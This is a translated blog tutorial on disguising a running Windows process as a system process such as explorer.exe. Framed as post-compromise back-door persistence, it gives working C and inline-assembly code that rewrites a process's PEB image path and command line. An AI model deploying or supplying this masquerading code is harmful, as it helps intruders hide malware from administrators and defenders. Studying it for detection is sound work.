Detailed explanation of process camouflage

Posted by LoStEdeN on Fri, 04 Mar 2022 21:30:25 +0100

When we get the permission of a host and get the information we want to collect, we will leave a back door for permission maintenance. The knowledge of permission maintenance is actually very deep. Today we will mainly introduce one of the relatively simple methods of permission maintenance - process camouflage.

We know that there are many system processes in windows, such as Winlogon exe,explorer.exe,services.exe and so on. These exes are necessary for windows. When some exes are missing, windows cannot run normally. Therefore, if we want to realize process camouflage, the best choice is to camouflage as the necessary exe of the system. When we camouflage the process, the information of the system process will be displayed in the system, However, this program can still perform its normal functions, so as to achieve the role of process camouflage and permission maintenance.

thinking

When we judge whether a process is hijacked, we usually judge by its process name and path, that is, the startup path. Then we can deduce it. We can realize the role of process camouflage by modifying the process path and process name in the process module

For example, let's take a look at the process name and startup path of explorer

So how can we get the information of the process? Ntdll can be used here DLL to get the PEB address of the process. Here is a little concept. What is PEB?

PEB, that is, process environment block structure, is the process environment information block in English, which contains the information of writing the process. Its complete structure is as follows:

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged; //Debugged state
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
} PEB, *PPEB;

We won't delve into the meaning of each attribute here. After we get the PEB structure, we can modify some attributes of the process to achieve the effect of process camouflage. However, we can't directly sketch memory data through pointers, because each program has its own independent space, So here we need to use ReadProcessMemory and WriteProcessMemory to read and write processes

BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

Implementation process

The OpenProcess handle is used to open the process first

HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);

Then from ntdll DLL to obtain the export address of NtQueryInformationProcess. Because this function has no associated import library, it can only obtain the address dynamically

NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");

After we get the address, we need to pay attention to the process in the ntquery information process structure_ BASIC_ For the value of information, first look at the structure

__kernel_entry NTSTATUS NtQueryInformationProcess(
  [in]            HANDLE           ProcessHandle,
  [in]            PROCESSINFOCLASS ProcessInformationClass,
  [out]           PVOID            ProcessInformation,
  [in]            ULONG            ProcessInformationLength,
  [out, optional] PULONG           ReturnLength
);

The third value is PROCESS_BASIC_INFORMATION refers to the pointer to the buffer provided by the calling application, and the function writes the requested information to the buffer. The size of the information written depends on the data type of the ProcessInformationClass parameter

When the ProcessInformationClass parameter is ProcessBasicInformation, the PROCESSINFORMATION parameter pointed to by the buffer should be large enough to maintain a single PROCESS_BASIC_INFORMATION has the following layout structure:

typedef struct _PROCESS_BASIC_INFORMATION {
    PVOID Reserved1;
    PPEB PebBaseAddress;
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;
    PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;

So how do we locate the PEB structure?

The FS segment register points to the current TEB structure, and the PEB pointer is at the TEB offset 0x30. The address of PEB can be obtained through this pointer, which can be realized through assembly

__asm
{
mov eax,fs:[0x30]
mov PEB,eax
}

Here we need to modify two parameters, one is the command line parameter and the other is the path parameter. Here, use winDBG to follow the PEB structure

First, at the offset of 0x20, there is an attribute value called ProcessParameters whose structure is_ RTL_USER_PROCESS_PARAMETERS, keep going inside

At the offset of 0x60, ImagePathName is the path of the executable file, and the structure is_ UNICODE_STRING, whose 0x08 offset points to a Buffer whose content is the string of the executable path. Similarly, the 0x70 offset indicates that CommandLine is a command line parameter

Then we first get the PebBaseAddress and ProcessPamameters in the structure

::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

To modify the command line information is to modify the Buffer and Length fields in the command line structure

    CmdLen = 2 + 2 * ::wcslen(lpwszCmd);
    ::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);
    ::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);

Similarly, if you modify the path information, you also modify the Buffer and Length fields. The structure here is ImagePathName

    PathLen = 2 + 2 * ::wcslen(lpwszPath);
    ::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);
    ::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);

So here we have modified the fields of command line and path. The complete code is as follows

BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd)
{
    
    // Open process get handle
    HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (NULL == hProcess)
    {
        printf("[!] OpenProcess failed,error is : %d", GetLastError());
        return FALSE;
    }

    typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    PEB peb = { 0 };
    RTL_USER_PROCESS_PARAMETERS Param = { 0 };
    USHORT CmdLen = 0;
    USHORT PathLen = 0;

    // You need to download ntdll.dll from LoadLibrary and GetProcessAddress Get address from DLL
    NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
        ::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");

    if (NULL == NtQueryInformationProcess)
    {
        printf("[!] NtQueryInformationProcess failed,error is : %d\n\n", GetLastError());
        return FALSE;
    }

    // Get the basic information of the specified process

    NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    
    if (!NT_SUCCESS(status))
    {
        printf("[!] GetProcess information failed,error is : %d\n\n", GetLastError());
        return FALSE;
    }


    // Get PebBaseAddress
    ::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
    // Get ProcessParameters
    ::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
    // Modify the command line information, that is, the Buffer and Length fields in the CommandLine structure
    CmdLen = 2 + 2 * ::wcslen(lpwszCmd);
    ::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);
    ::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);
    // Modify the path information, that is, the Buffer and Length fields in the ImagePathName structure
    PathLen = 2 + 2 * ::wcslen(lpwszPath);
    ::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);
    ::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);
    return TRUE;
}

Here, you can also use asm to point to PEB structure for data modification. In fact, it is the same as the above idea. It also points to Buffer and Length fields for modification. However, here, the PEB structure is located by using pointers, and the effect is the same

BOOL DisguiseProcess(wchar_t *lpwszPath, wchar_t *lpwszCmd)
{
	// Open process get handle
	HANDLE hProcess = GetModuleHandle(NULL);

	PPEB peb = { 0 };
	USHORT usCmdLen = 0;
	USHORT usPathLen = 0;
	
	__asm
	{
		mov	eax,fs:[30h]
		mov peb,eax
	}

	usCmdLen = 2 + 2 * wcslen(lpwszCmd);
	(*peb).ProcessParameters->CommandLine.Buffer = lpwszCmd;
	(*peb).ProcessParameters->CommandLine.Length = usCmdLen;

	usPathLen = 2 + 2 * wcslen(lpwszPath);
	(*peb).ProcessParameters->ImagePathName.Buffer = lpwszPath;
	(*peb).ProcessParameters->ImagePathName.Length = usPathLen;

	return TRUE;
}

Realization effect

Here is a demonstration of the implementation effect of the first code. Youdao cloud is selected to disguise the process as explorer. First, let's take a look at the details of explorer

Run the program and you can see that the modification is successful

Take another look at Youdao cloud. You can see that the process camouflage has been realized